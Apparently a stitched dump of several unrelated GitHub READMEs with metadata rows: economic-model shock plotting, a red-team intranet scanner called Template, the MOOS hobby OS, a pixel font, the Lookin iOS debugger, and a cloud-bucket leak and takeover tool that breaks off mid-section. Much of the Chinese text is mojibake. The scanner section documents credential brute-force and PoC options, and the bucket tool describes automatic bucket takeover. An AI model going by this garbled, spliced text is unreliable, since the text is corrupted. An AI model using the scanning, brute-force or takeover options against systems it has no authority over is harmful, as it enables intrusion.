The [Analysis/Standard_shocks](Analysis/Standard_shocks) subdirectory contains files for running a large number of pre-defined shocks, and it is straightforward to disable existing shocks and add new custom shocks instead. This is done by editing [standard_shocks.gms](Analysis/Standard_shocks/standard_shocks.gms). The run file, [Analysis/Standard_shocks/run.cmd](Analysis/Standard_shocks/run.cmd), is set up to run this file, followed by two python reporting files.
For reporting on responses to shocks, we include a python script, [plot_standard_shocks.py](Analysis/Standard_shocks/plot_standard_shocks.py), for making a combined report with many plots of responses to one or more shocks, comparing shock responses from one or more model versions, and/or multiple variations of the same shock. Shocks to be plottet can be added inside (shocks_to_plot.py)[shocks_to_plot.py] and [variables_to_plot.py](variables_to_plot.py) controls which variables are plotted.
[plot_shocks.py](Analysis/Standard_shocks/plot_shocks.py) is set up for making many detailed figures that illustrate the effects of a particular shock (without comparison between model versions or shock variations).
## Python packages
For reporting, and other purposes, we make use of several python packages that can be installed using pip:
```
pip install dream-tools plotly numpy pandas scipy==1.8.1 statsmodels xlwings kaleido==0.1.0.post1 xhtml2pdf IPython
```
We also require the GAMS API package, which cannot be installed with pip. Installation instructions are found here: https://www.gams.com/latest/docs/API_PY_GETTING_STARTED.html .
| null | null | 1 | 4 | 7 | 25 | 2 | 2 | 0 |
1n7erface/Template | # Template - ๅฏๅๅผๅ
็ฝๆซๆ
## 0x01 ๅ
่ดฃๅฃฐๆ
ๆฌๅทฅๅ
ทๆจๅจๆไพๅฎๅ
จ่ฏไผฐๅๆผๆดๆซๆ็ญ็ธๅ
ณๆๅก๏ผไฝไฝฟ็จๆฌๅทฅๅ
ทๆถ่ฏทๆณจๆไปฅไธไบ้กน๏ผ
- ๆฌๅทฅๅ
ท็ไฝฟ็จ่
ๅบๅฏนๅ
ถไฝฟ็จไบง็็็ปๆๅๅๆ่ดๅ
จ้จ่ดฃไปปใๆฌๅทฅๅ
ทไป
ไฝไธบ่พ
ๅฉๅทฅๅ
ทๆไพ๏ผไธๅฏนไฝฟ็จ่
ๆ่ฟ่ก็ๆไฝๅๅณ็ญๆฟๆ
่ดฃไปปใ
- ๆฌๅทฅๅ
ทๅฐฝๅๆไพๅ็กฎใๅๆถ็ไฟกๆฏๅ่ฏไผฐ๏ผไฝๆ ๆณไฟ่ฏๅ
ถๅฎๅ
จๆ ่ฏฏใไฝฟ็จ่
ๅบ่ช่กๅคๆญๅ้ช่ฏๆฌๅทฅๅ
ทๆไพ็ไฟกๆฏ๏ผๅนถๅฏนไฝฟ็จๆฌๅทฅๅ
ทๆไบง็็็ปๆ่ฟ่ก็ฌ็ซ่ฏไผฐใ
่ฏทๅจไฝฟ็จๆฌๅทฅๅ
ทไนๅไป็ป้
่ฏปๅนถ็่งฃไธ่ฟฐๅ
่ดฃๅฃฐๆใไฝฟ็จๆฌๅทฅๅ
ทๅณ่กจ็คบๆจๅๆ้ตๅฎไธ่ฟฐๆกๆฌพ๏ผๅนถ่ช่กๆฟๆ
็ธๅบ่ดฃไปปใ
## 0x02 ๅทฅๅ
ทไผๅฟ
- ๆๆๆจกๅ็้็จ็ไบง่
ๆถ่ดน่
ๆจกๅ,ๅณ็ๅณๆถ.
> ๅจ็ซฏๅฃๆซๆไธ็ปๆฐๆฎๅๅฐๆฐๆฎๅ้ๅฐ้ๅไธญ,็ฑ็็ ดๆจกๅๅๆ็บนๆจกๅๅณๅป่ฟ่กๆถ่ดน,้ๆถ็ปๆๆซๆ่ฟ็จๆฟๅฐๆซๆ็ปๆ.ๆ่ฑไผ ็ป็็ญๅพ
็ซฏๅฃๆซๆ็ปๆ่ฟ่กๅ็ปญ็ๆจกๅ.
- ๆๆๆจกๅ็้็จๅฏๅๅผๆซๆ,่ฏฃๅจๆๅฐ็ๅๅ
ๆขๆต็ฎๆ
> ๅจ็ซฏๅฃๆซๆๆถ,้่ฟๅ่ฎฎ่ฏๅซ็ๆนๅผ่ฏๅซTOP15ๅ่ฎฎ,ๅฏนๅ
ถๅ่ฎฎ่ฟ่กๆขๆต.ๆผๆดๆขๆตๆฏ้่ฟๅฏนWEBๆ็บน่ฟ่ก่ฏๅซๅ่ฟ่กๆขๆต.ๆ่ฑไผ ็ป็็ซฏๅฃ็ปๅฎไปฅๅๆผๆดๆขๆตๅๅ
้ๅคง็้ฎ้ข.
- ๅผบๅคง็WEBๆ็บนๆฏๆ
> ๆ่ฐขๆฃฑ่ง็คพๅบๅฏนๆฌๅทฅๅ
ทWEBๆ็บน็ๆฏๆใ็ฎๅๆ็บน900+,ๆ็บน่ฏๅซๅฟซไบบไธๆญฅ.
- ๆ่ด็ๅบ็จๅนถๅ
> ๅจ็็ ดๆจกๅไปฅๅๆผๆดๆขๆตใๆ็บน่ฏๅซใ็ซฏๅฃๆซๆๆๆๆจกๅ้็จๆฐๆฎๅๅญๅ็ๆนๅผ่ฟ่กๆ่ด็ๅนถๅ.
## 0x03 ๅๆฐ่ฏดๆ
```
โฏ ./App-arm64darwin-noupx
_____ _ _
|_ _| | | | |
| | ___ _ __ ___ _ __ | | __ _| |_ ___
| |/ _ \ '_' _ \| '_ \| |/ _' | __/ _ \
| | __/ | | | | | |_) | | (_| | || __/
\_/\___|_| |_| |_| .__/|_|\__,_|\__\___|
| | by 1n7erface
|_|
[=] Load Success
Usage of ./App-arm64darwin-noupx:
-bt int
BruteModule threadNum (default 200)
-c string
auto check 192 or 172 or 10
-e print error log
-i string
IP address of the host you want to scan,for example: 192.168.11.11-255 or 192.168.1.1/24 or /22 /15...
-it int
InfoModule threadNum (default 200)
-nobrute
skip brute
-noping
skip icmp alive
-nopoc
skip poc
-o string
output file name (default "output.txt")
-onping
only ping
-p string
custom port example: 80,8088,1-3000
-pw string
Define a password dictionary for blasting
-t int
Timeout (default 4)
-us string
Define a user dictionary for blasting
[=] end......
```
- btๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆๆๆฅๆถไธไธชๆฐๅผ็ฑปๅ,็จไบ็็ ดๆจกๅๅผๅฏ็ๅ็จๆฐ้,้ป่ฎค็ๆฐ้ไธบ200
- cๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆๆๆฅๆถไธไธชๅญ็ฌฆไธฒ๏ผๅญๅจไบ"192ใ172ใ10"ไธไธชๅญ็ฌฆไธฒไน้ด,็จๅบไผ่ชๅจ็ๆขๆต็ฝๆฎตๅญๆดป๏ผๅนถๅฏนๅ
ถ่ฟ่กๆซๆใๅ
ๆฌ192็192.168.0.1-192.168.255.255ใ172็172.16.0.1-172.31.255.255ใ10็10.0.0.1-10.255.255.255.ๅผๅพไธๆ็ๆฏ,็ฝๆฎตๆขๆตๅญๆดป็็ฎๆณๆฏไปๆฏไธไธชcๆฎต้ๆฉ1,255 ไปฅๅๆ้ด็้ๆบ3ไธชip่ฟ่กๆฃๆต,ๅฆๆไธไธชๅญๆดปๅฐๅคๅฎไธบ็ฝๆฎตๅญๆดป.ๅจไธๅฎๅ ็ไธๅญๅจๆผๆฎต็ๅฏ่ฝๆ ๆณ้ฟๅ
.(10ๆฎตไธๅปบ่ฎฎไฝฟ็จ,็ฝๆฎตๅคชๅคงๅฏ่ฝไบง็้ขๆไนๅค็้่ฏฏ).
- eๅๆฐ่ฏดๆ
> ๆญคๅๆฐไธๆฅๆถไปปไฝๅผ,ๆๅฐๆ้ด็้่ฏฏๆฅๅฟ,็จไบๆๆฅๆซๆ็้ฎ้ข.
- iๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆฅๆถไธไธชๅญ็ฌฆไธฒ,ๅญ็ฌฆไธฒ็จไบๅฃฐๆ่ฆๆซๆ็็ฝๆฎต,ไพๅฆ192.168.11.11-255 or 192.168.1.1/24 or /22 /15... ,ๆญคๅๆฐๆฏๆCIDR็่กจ่พพๅผ.
- itๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆๆๆฅๆถไธไธชๆฐๅผ็ฑปๅ,็จไบไฟกๆฏๆขๆตๆจกๅๅผๅฏ็ๅ็จๆฐ้,ไพๅฆipๅญๆดปใ็ซฏๅฃๆซๆใwebๆ็บน.
- nobruteๅๆฐ่ฏดๆ
> ๆญคๅๆฐไธๆฅๆถไปปไฝๅผ,ไธๅฏนไฟกๆฏๆขๆต็็ปๆ่ฟ่กๆดๅ็ ด่งฃๆจกๅ.
- nopingๅๆฐ่ฏดๆ
> ๆญคๅๆฐไธๆฅๆถไปปไฝๅผ,ๅจ็ฎๆ ็ฝๆฎตไธๆฏๆICMPๅ่ฎฎๆถ,้่ฟTCP่ฟ่กๆขๆต.
- nopocๅๆฐ่ฏดๆ
> ๆญคๅๆฐไธๆฅๆถไปปไฝๅผ,ไธๅฏนๆขๆต็WEBๆๅก่ฟ่กๆผๆดๆขๆต็ๆจกๅ.
- oๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆฅๆถไธไธชๅญ็ฌฆไธฒ,็จไบๅฏน็ปๆไฟๅญ็ๆไปถๅ็งฐ,้ป่ฎคไธบoutput.txt.
- onpingๅๆฐ่ฏดๆ
> ๆญคๅๆฐไธๆฅๆถไปปไฝๅผ,ๅฏน็ฎๆ ็ฝๆฎตๅช่ฟ่กICMP็ipๅญๆดปๆขๆต,ๅ
ถไฝไธๅพไธๅ.
- pๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆฅๆถไธไธชๅญ็ฌฆไธฒ,ๆๅฎ็ซฏๅฃๆซๆ็็ซฏๅฃ.ไพๅฆ,80,8088,1-3000 (ๆณจ:ๆญคๅๆฐไธ็ปๆๅฎๅไธ่ฟ่ก็จๅบ่ชๅธฆ็ซฏๅฃ็ๆซๆ)
- pwๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆฅๆถไธไธชๅญ็ฌฆไธฒ,ๆๅฎ็็ ด็ๅฏ็ ๅญๅ
ธ,ไพๅฆ -pw ffnxjfl123,fgmgergn334 ๏ผๆณจ:ๆญคๅๆฐไธ็ปๆๅฎๅไธ่ฟ่ก็จๅบ่ชๅธฆๅฏ็ ็ๆซๆ)
- tๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆๆๆฅๆถไธไธชๆฐๅผ็ฑปๅ,็จไบๅจๆผๆดๆซๆ,WEB่ฏๅซๆถ็่ถ
ๆถๆถ้ด่ฎพ็ฝฎ.
- usๅๆฐ่ฏดๆ
> ๆญคๅๆฐๆๆๆฅๆถไธไธชๅญ็ฌฆไธฒ,ๆๅฎ็็ ด็็จๆทๅๅญๅ
ธ,ไพๅฆ -us fwefwf,fwefwf (ๆณจ:ๆญคๅๆฐไธ็ปๆๅฎๅไธ่ฟ่ก็จๅบ่ชๅธฆ็จๆทๅ็ๆซๆ)
- ๅฆๆๆณๆๅฎ็ซฏๅฃใ็็ ด็็จๆทๅๅๅฏ็ ๅนถไธไป็ถไฝฟ็จ็จๅบ่ชๅธฆ็็ซฏๅฃใๅฏ็ ใ็จๆทๅ่ฟ่กๆซๆ.ๅฏไปฅๅจๅฝๅ็จๅบ็ๅ็บง็ฎๅฝไธไผ ๅไธบ"config.json"็ๆไปถ
> ๅ
ๅฎนไธบ: {"pass":["ffnxjfl123","fgmgergn334"],"user":["fwefwf","fwefwf"],"ports":[9999,8888]}
## 0x04 ไฝฟ็จๆชๅพ
<img width="1000" alt="image" src="https://github.com/1n7erface/Template/assets/52184829/e14e0992-2931-4c57-a502-e3d029f41020">
<img width="1000" alt="image" src="https://github.com/1n7erface/Template/assets/52184829/42b66291-57dc-40fe-9f13-6dc75ed6fb48">
## 0x05 ๅๅจๆๅ
> ๅฏนๅพ
ไธไธชไบงๅๆๅทฅๅ
ท,ๆๅธๆๆณจๅ
ฅ่ชๅทฑ็พๅ็พ็ๅฟ่กไธไปๅบ,ๆๅฏไปฅไธ็ดๅป้ๆ็ดๅฐๆ่ฎคไธบ็ๆปกๆ,่ฟๅคงๆฆๆฏไธไธชๆๆฏไบบ็ๆง็.
>
> ไธๆ่ถฃ,ๆฏๅฎๆญป.
| Next generation RedTeam heuristic intranet scanning | ไธไธไปฃRedTeamๅฏๅๅผๅ
็ฝๆซๆ | scanner,security-tools,poc | 21 | 1 | 0 | 43 | 5 | 1 | 0 |
nifanfa/MOOS | [](https://github.com/nifanfa/MOOS/blob/main/README_CN.md)
<p align="center">
<img width=300 src="MOOS-Logo.svg"/>
</p>
<p align="center">
<a href="https://github.com/nifanfa/moos/issues"><img alt="GitHub issues" src="https://img.shields.io/github/issues/nifanfa/moos"></a>
<a href="https://github.com/nifanfa/moos/network"><img alt="GitHub forks" src="https://img.shields.io/github/forks/nifanfa/moos"></a>
<a href="https://github.com/nifanfa/moos/stargazers"><img alt="GitHub stars" src="https://img.shields.io/github/stars/nifanfa/moos"></a>
<a href="https://github.com/nifanfa/moos"><img alt="GitHub license" src="https://img.shields.io/github/license/nifanfa/moos"></a>
<a href="https://github.com/nifanfa/MOOS/blob/main/LICENSE"><img alt="GitHub license" src="https://img.shields.io/github/license/nifanfa/moos"></a>
<a href="https://discord.gg/uJstXbx8Pt"><img src="https://discordapp.com/api/guilds/987075686256762890/widget.png?style=shield" alt="Discord Shield"/></a>
</p>
# MOOS
MOOS (**M**y **O**wn **O**perating **S**ystem Project) is a C# x64 operating system compiler with the .NET 7 Native AOT technology.
## Building
For information on compiling MOOS, please read the [build wiki page]([https://github.com/nifanfa/MOOS/wiki/How-do-you-build-or-compile-MOOS%3](https://github.com/nifanfa/MOOS/wiki)F).
### Build requirements
- VMware Workstation Player - https://www.vmware.com/products/workstation-player.html
- Visual studio 2022 - https://visualstudio.microsoft.com/
- QEMU - https://www.qemu.org/download or VMWare ( Note - USB Does not work with VMWare and you need x64 if you want to run VMware, 32 bit is not supported )
- Windows 10-11 x64 or x86
- A CPU from at least 2012 or newer, or in basic terms an Ivy Bridge CPU or over
- 4GB of RAM but 8GB is recommended
<br/>
<hr/>
<br/>
## Features
| Feature | Working in VM | Working on hardware | Information |
| ------- | ------------- | ------------------- | ----------- |
| Applications .mue (MOOS User Executable) | ๐ฉ | ๐ฉ |
| Error Throwing / Catching | ๐ฅ | ๐ฅ |
| GC | ๐จ | โฌ | Not safe |
| Multiprocessor | ๐ฉ | ๐ฉ |
| Multithreading | ๐ฉ | ๐ฉ |
| EHCI(USB2.0) | ๐ฉ | ๐ฉ |
| USB Keyboard | ๐จ | โฌ |
| USB Mouse | ๐ฉ | โฌ |
| USB HUB | ๐ฅ | ๐ฅ |
| PS2 Keyboard/Mouse(USB Compatible) | ๐ฉ | ๐ฉ |
| Nintendo Family Computer Emulator | ๐ฉ | ๐ฉ |
| DOOM(doomgeneric) | ๐ฉ | ๐ฉ |
| Intelยฎ Gigabit Ethernet Network | ๐ฉ | ๐ฉ |
| Realtek RTL8111E | ๐ฉ | ๐ฉ |
| ExFAT | ๐ฉ | โฌ |
| I/O APIC | ๐ฉ | ๐ฉ |
| Local APIC | ๐ฉ | ๐ฉ |
| SATA | ๐ฉ | โฌ |
| IDE | ๐ฉ | ๐ฉ |
| SMBIOS | ๐ฉ | ๐ฉ |
| ACPI | ๐ฉ | ๐ฉ |
| IPv4 | ๐ฉ | ๐ฉ |
| IPv6 | ๐ฅ | ๐ฅ |
| TCP | ๐ฉ | ๐ฉ |
| UDP | ๐ฉ | ๐ฉ |
| DNS | ๐ฉ | ๐ฉ |
| DHCP | ๐ฉ | ๐ฉ |
| Lan | ๐ฉ | ๐ฉ |
| Wan | ๐ฉ | ๐ฉ |
| Color Key | Meaning |
| ----- | ------- |
| ๐ฉ | Yes |
| ๐ฅ | No |
| ๐จ | W.I.P / Partially / Buggy |
| โฌ | Unknown |
## Contact me ่็ณปๆนๅผ
Email: nifanfa@foxmail.com (i hardly use that so it may took a few month to check your post)
QQ: 3244735564
QQ็พค: 686383293
Discord: https://discord.gg/uJstXbx8Pt
| C# x64 operating system programming with the .NET native ahead-of-time compilation technology. | csharp,operating-system,nativeaot,corert,hobby-os,os,multithreading,smp | 1 | 9 | 39 | 1,336 | 13 | 1 | 0 |
TakWolf/fusion-pixel-font | 
# ็ผๅๅ็ด ๅญไฝ / Fusion Pixel Font
[](https://openfontlicense.org)
[](https://opensource.org/licenses/MIT)
[](https://github.com/TakWolf/fusion-pixel-font/releases)
[](https://discord.gg/3GKtPKtjdU)
[](https://qm.qq.com/q/X1mLrLLGYS)
ๅผๆบ็ๆณไธญๆฅ้ฉๅ็ด ๅญไฝ๏ผ้ปไฝๆ ่กฌ็บฟ้ฃๆ ผ๏ผๆฏๆ 8ใ10 ๅ 12 ๅ็ด ใ
่ฏฅ้กน็ฎไธบ [ใๆน่ๅ็ด ๅญไฝใ](https://github.com/TakWolf/ark-pixel-font) ็ไธดๆถๆง่ฟๆธกๆนๆกใไฝฟ็จๅคไธชๅ็ด ๅญไฝๅๅนถ่ๆ๏ผๅ ๆญคไปฅใ็ผๅใๅฝๅใ
Logo ๆไป่ช [ใๆธธๆ็ใ](https://zh.wikipedia.org/wiki/%E9%81%8A%E6%88%B2%E7%8E%8B) ไธญ็ [ใ่ๅใ](https://www.db.yugioh-card.com/yugiohdb/card_search.action?ope=2&cid=4837&request_locale=ja) ้ญๆณๅกๅกๅพใ
่ฟไธช้กน็ฎๆไพไบไปๆๅๅญๆจก๏ผๅๅนถๅญๅฝขๅฐๆๅปบๅญไฝๆ้่ฆ็ๅฎๆด็จๅบใ
## ้ข่ง
ๅฏไปฅ้่ฟ [Playground](https://fusion-pixel-font.takwolf.com/playground.html) ๅฎๆถ้ข่งๅญไฝๆๆใ
### 8 ๅ็ด
[็คบไพๆๆฌ](https://fusion-pixel-font.takwolf.com/demo-8px.html) ยท [็ญๅฎฝๆจกๅผ-ๅญๆฏ่กจ](https://fusion-pixel-font.takwolf.com/alphabet-8px-monospaced.html) ยท [ๆฏไพๆจกๅผ-ๅญๆฏ่กจ](https://fusion-pixel-font.takwolf.com/alphabet-8px-proportional.html)
### 10 ๅ็ด
[็คบไพๆๆฌ](https://fusion-pixel-font.takwolf.com/demo-10px.html) ยท [็ญๅฎฝๆจกๅผ-ๅญๆฏ่กจ](https://fusion-pixel-font.takwolf.com/alphabet-10px-monospaced.html) ยท [ๆฏไพๆจกๅผ-ๅญๆฏ่กจ](https://fusion-pixel-font.takwolf.com/alphabet-10px-proportional.html)
### 12 ๅ็ด
[็คบไพๆๆฌ](https://fusion-pixel-font.takwolf.com/demo-12px.html) ยท [็ญๅฎฝๆจกๅผ-ๅญๆฏ่กจ](https://fusion-pixel-font.takwolf.com/alphabet-12px-monospaced.html) ยท [ๆฏไพๆจกๅผ-ๅญๆฏ่กจ](https://fusion-pixel-font.takwolf.com/alphabet-12px-proportional.html)
## ๅญ็ฌฆ็ป่ฎก
ๅฏไปฅ้่ฟไธ้ข็้พๆฅๆฅๆฅ็ๅญไฝๅๅฐบๅฏธ็ฎๅๆฏๆ็ๅญ็ฌฆๆ
ๅตใ
| ๅฐบๅฏธ | ็ญๅฎฝๆจกๅผ | ๆฏไพๆจกๅผ |
|---|---|---|
| 8px | [font-info-8px-monospaced](docs/font-info-8px-monospaced.md) | [font-info-8px-proportional](docs/font-info-8px-proportional.md) |
| 10px | [font-info-10px-monospaced](docs/font-info-10px-monospaced.md) | [font-info-10px-proportional](docs/font-info-10px-proportional.md) |
| 12px | [font-info-12px-monospaced](docs/font-info-12px-monospaced.md) | [font-info-12px-proportional](docs/font-info-12px-proportional.md) |
## ่ฏญ่จ็นๅฎๅญๅฝข
็ฎๅๆฏๆไปฅไธ่ฏญ่จ็นๅฎๅญๅฝข็ๆฌ๏ผ
| ็ๆฌ | ๅซไน |
|---|---|
| latin | ๆไธ่ฏญ |
| zh_hans | ไธญๆ-็ฎไฝ |
| zh_hant | ไธญๆ-็น้ซ |
| ja | ๆฅ่ฏญ |
| ko | ๆ้ฒ่ฏญ |
ๅฐฝ็ฎกๅฆๆญค๏ผ่ฟไธช้กน็ฎไป็ถๆฏไธไธชๅบไบ่กฅไธ็ๅญไฝ่งฃๅณๆนๆกใไฝ ไธๅบ่ฏฅๅฏน่ฏญ่จ็นๅฎๅญๅฝขๆฑๆ็นๅซ็ๆๅพ
ใ
## ไธ่ฝฝ
ๅฏ้่ฟไปฅไธๆธ ้ไธ่ฝฝๆๆฐ็็ๆฌ๏ผ
- [GitHub Releases](https://github.com/TakWolf/fusion-pixel-font/releases)
็ฎๅๆไพ `.otf`ใ`.ttf`ใ`.woff2`ใ`.bdf`ใ`.pcf` ไบ็งๅๅญไฝๆ ผๅผ๏ผไปฅๅ `.otc`ใ`.ttc` ไธค็ง้ๅๅญไฝๆ ผๅผใ
## ๆๆ่ฎธๅฏ
ๅไธบใๅญไฝใๅใๆๅปบ็จๅบใไธคไธช้จๅใ
### ๅญไฝ
ไฝฟ็จ [ใSIL ๅผๆพๅญไฝ่ฎธๅฏ่ฏ็ฌฌ 1.1 ็ใ](LICENSE-OFL) ๆๆ๏ผไฟ็ๅญไฝๅ็งฐใ็ผๅๅ็ด / Fusion Pixelใใ
็ฌฌไธๆนๅญๆบ่ฎธๅฏ่ฏๅฆไธ๏ผ
| ๅญไฝ | ่ฎธๅฏ่ฏ | ๅคๆณจ |
|---|---|---|
| [ๆน่ๅ็ด ๅญไฝ / Ark Pixel Font](https://github.com/TakWolf/ark-pixel-font) | [OFL-1.1](https://github.com/TakWolf/ark-pixel-font/blob/develop/LICENSE-OFL) | ๆไพ 10ใ12 ๅ็ด ๅบ็กๅญๅฝขๅๅๆฐ |
| [็พๅฒใใฉใณใ / Misaki](https://littlelimit.net/misaki.htm) | [ๆ ็ฑปๅ่ฎธๅฏ่ฏ](assets/fonts/misaki/LICENSE.txt)๏ผๅ
ผๅฎน OFL-1.1 | ๆไพ 8 ๅ็ด ๆฅ่ฏญๆฑๅญๅญๅฝข |
| [็พ็ธพ็น้ฃ้ซ / MisekiBitmap](https://github.com/ItMarki/MisekiBitmap) | [OFL-1.1](https://github.com/ItMarki/MisekiBitmap/blob/main/LICENSE) | ๆไพ 8 ๅ็ด ็ฎไฝไธญๆๆฑๅญๅญๅฝข |
| [็ฒพๅ้ป้ฃ้ซ7ร7 / BoutiqueBitmap7x7](https://github.com/scott0107000/BoutiqueBitmap7x7) | [OFL-1.1](https://github.com/scott0107000/BoutiqueBitmap7x7/blob/main/OFL.txt) | ๆไพ 8 ๅ็ด ็นไฝไธญๆๆฑๅญๅญๅฝข |
| [็ฒพๅ้ป้ฃ้ซ9ร9 / BoutiqueBitmap9x9](https://github.com/scott0107000/BoutiqueBitmap9x9) | [OFL-1.1](https://github.com/scott0107000/BoutiqueBitmap9x9/blob/main/OFL.txt) | ๆไพ 10 ๅ็ด ็นไฝไธญๆๆฑๅญ่กฅๅ
|
| [ไฟๆน้ซ11่๏ผCubic 11](https://github.com/ACh-K/Cubic-11) | [OFL-1.1](https://github.com/ACh-K/Cubic-11/blob/main/OFL.txt) | ๆไพ 12 ๅ็ด ็นไฝไธญๆๆฑๅญ่กฅๅ
|
| [Galmuri](https://github.com/quiple/galmuri) | [OFL-1.1](https://github.com/quiple/galmuri/blob/main/ofl.md) | ๆไพ 8ใ10ใ12 ๅ็ด ๆ้ฒ่ฏญ็ธๅ
ณๅญๅฝข |
### ๆๅปบ็จๅบ
ไฝฟ็จ [ใMIT ่ฎธๅฏ่ฏใ](LICENSE-MIT) ๆๆใ
## ๅฎๆน็คพๅบ
- [ใๅ็ด ๅญไฝๅทฅๆฟใDiscord ๆๅกๅจ](https://discord.gg/3GKtPKtjdU)
- [ใๅ็ด ๅญไฝๅทฅๆฟใQQ ็พค (302383204)](https://qm.qq.com/q/X1mLrLLGYS)
## ็จๅบไพ่ต
- [Pixel Font Builder](https://github.com/TakWolf/pixel-font-builder)
- [FontTools](https://github.com/fonttools/fonttools)
- [Unidata Blocks](https://github.com/TakWolf/unidata-blocks)
- [Character Encoding Utils](https://github.com/TakWolf/character-encoding-utils)
- [PyYAML](https://github.com/yaml/pyyaml)
- [PyPNG](https://gitlab.com/drj11/pypng)
- [Pillow](https://github.com/python-pillow/Pillow)
- [Beautiful Soup](https://www.crummy.com/software/BeautifulSoup/)
- [Jinja](https://github.com/pallets/jinja)
- [GitPython](https://github.com/gitpython-developers/GitPython)
- [HTTPX](https://github.com/encode/httpx)
## ่ตๅฉ
ๅฆๆ่ฟไธช้กน็ฎๅฏนๆจๆๅธฎๅฉ๏ผ่ฏท่่่ตๅฉๆฅๆฏๆๅผๅๅทฅไฝใ
[](https://github.com/TakWolf/TakWolf/blob/master/payment-qr-codes.md)
[](https://afdian.net/@takwolf)
่ฏท้่ฟไธ้ข็้พๆฅๆฅๆฅ็ๆถๅฐ็่ตๅฉ็ๅ
ทไฝๆ
ๅต๏ผ
[่ตๅฉ่ฏฆๆ
](https://github.com/TakWolf/TakWolf/blob/master/sponsors.md)
| ๅผๆบๅ็ด ๅญไฝใๆฏๆ 8ใ10 ๅ 12 ๅ็ด ใ | font,fonts,pixel,cjk,game | 18 | 1 | 0 | 456 | 9 | 2 | 1 |
hughkli/Lookin | 
# Introduction
You can inspect and modify views in iOS app via Lookin, just like UI Inspector in Xcode, or another app called Reveal.
Official Website๏ผhttps://lookin.work/
# Integration Guide
To use Lookin macOS app, you need to integrate LookinServer (iOS Framework of Lookin) into your iOS project.
> **Warning**
Never integrate LookinServer in Release building configuration.
## via CocoaPods:
### Swift Project
`pod 'LookinServer', :subspecs => ['Swift'], :configurations => ['Debug']`
### Objective-C Project
`pod 'LookinServer', :configurations => ['Debug']`
## via Swift Package Manager:
`https://github.com/QMUI/LookinServer/`
# Repository
LookinServer: https://github.com/QMUI/LookinServer
macOS app: https://github.com/hughkli/Lookin/
# Tips
- How to display custom information in Lookin: https://bytedance.larkoffice.com/docx/TRridRXeUoErMTxs94bcnGchnlb
- How to display more member variables in Lookin: https://bytedance.larkoffice.com/docx/CKRndHqdeoub11xSqUZcMlFhnWe
- How to turn on Swift optimization for Lookin: https://bytedance.larkoffice.com/docx/GFRLdzpeKoakeyxvwgCcZ5XdnTb
- Documentation Collection: https://bytedance.larkoffice.com/docx/Yvv1d57XQoe5l0xZ0ZRc0ILfnWb
# Acknowledgements
https://qxh1ndiez2w.feishu.cn/docx/YIFjdE4gIolp3hxn1tGckiBxnWf
---
# ็ฎไป
Lookin ๅฏไปฅๆฅ็ไธไฟฎๆน iOS App ้็ UI ๅฏน่ฑก๏ผ็ฑปไผผไบ Xcode ่ชๅธฆ็ UI Inspector ๅทฅๅ
ท๏ผๆๅฆไธๆฌพๅซๅ Reveal ็่ฝฏไปถใ
ๅฎ็ฝ๏ผhttps://lookin.work/
# ๅฎ่ฃ
LookinServer Framework
ๅฆๆ่ฟๆฏไฝ ็ iOS ้กน็ฎ็ฌฌไธๆฌกไฝฟ็จ Lookin๏ผๅ้่ฆๅ
ๆ LookinServer ่ฟๆฌพ iOS Framework ้ๆๅฐไฝ ็ iOS ้กน็ฎไธญใ
> **Warning**
่ฎฐๅพไธ่ฆๅจ AppStore ๆจกๅผไธ้ๆ LookinServerใ
## ้่ฟ CocoaPods๏ผ
### Swift ้กน็ฎ
`pod 'LookinServer', :subspecs => ['Swift'], :configurations => ['Debug']`
### Objective-C ้กน็ฎ
`pod 'LookinServer', :configurations => ['Debug']`
## ้่ฟ Swift Package Manager:
`https://github.com/QMUI/LookinServer/`
# ๆบไปฃ็ ไปๅบ
iOS ็ซฏ LookinServer๏ผhttps://github.com/QMUI/LookinServer
macOS ็ซฏ่ฝฏไปถ๏ผhttps://github.com/hughkli/Lookin/
# ๆๅทง
- ๅฆไฝๅจ Lookin ไธญๅฑ็คบ่ชๅฎไนไฟกๆฏ: https://bytedance.larkoffice.com/docx/TRridRXeUoErMTxs94bcnGchnlb
- ๅฆไฝๅจ Lookin ไธญๅฑ็คบๆดๅคๆๅๅ้: https://bytedance.larkoffice.com/docx/CKRndHqdeoub11xSqUZcMlFhnWe
- ๅฆไฝไธบ Lookin ๅผๅฏ Swift ไผๅ: https://bytedance.larkoffice.com/docx/GFRLdzpeKoakeyxvwgCcZ5XdnTb
- ๆๆกฃๆฑๆป๏ผhttps://bytedance.larkoffice.com/docx/Yvv1d57XQoe5l0xZ0ZRc0ILfnWb
# ้ธฃ่ฐข
https://qxh1ndiez2w.feishu.cn/docx/YIFjdE4gIolp3hxn1tGckiBxnWf
| Free macOS app for iOS view debugging. | null | 6 | 4 | 6 | 195 | 3 | 12 | 0 |
UzJu/Cloud-Bucket-Leak-Detection-Tools | 
# :rooster:ไฝฟ็จๆ็จ
```bash
git clone https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools.git
cd Cloud-Bucket-Leak-Detection-Tools/
# ๅฎ่ฃ
ไพ่ต ๅปบ่ฎฎไฝฟ็จPython3.8ไปฅไธ็็ๆฌ ๆ็็ๆฌ: Python 3.9.13 (main, May 24 2022, 21:28:31)
# ๅทฒ็ปๆต่ฏ็ๆฌๅฆไธ
# 1ใpython3.8.9
# 2ใpython3.9.13
# 3ใpython3.7
# 4ใpython3.6.15
# 5ใpython3.9.6
pip3 install -r requirements.txt
python3 main.py -h
```
ไฝฟ็จไนๅ้่ฆๅจ`config/conf.py`ๆไปถ้
็ฝฎ่ชๅทฑๅฏนๅบ็ไบๅๅAK
## 1ใ้ฟ้ไบๅญๅจๆกถ
### 1.1ใๅไธชๅญๅจๆกถๆฃๆต
```bash
python3 main.py -aliyun [ๅญๅจๆกถURL]
```
### 1.2ใ่ชๅจๅญๅจๆกถๅซๆ
ๅฝๅฆๆๆฃๆตๅญๅจๆกถไธๅญๅจๆถไผ่ชๅจๅซๆ่ฏฅๅญๅจๆกถ
### 1.3ใๆน้ๅญๅจๆกถๅฐๅๆฃๆต
```bash
# fofa่ฏญๆณ
domain="aliyuncs.com"
server="AliyunOSS"domain="aliyuncs.com"
```
```bash
# ไฝฟ็จ-faliyun
python3 main.py -faliyun url.txt
```
## 2ใ่
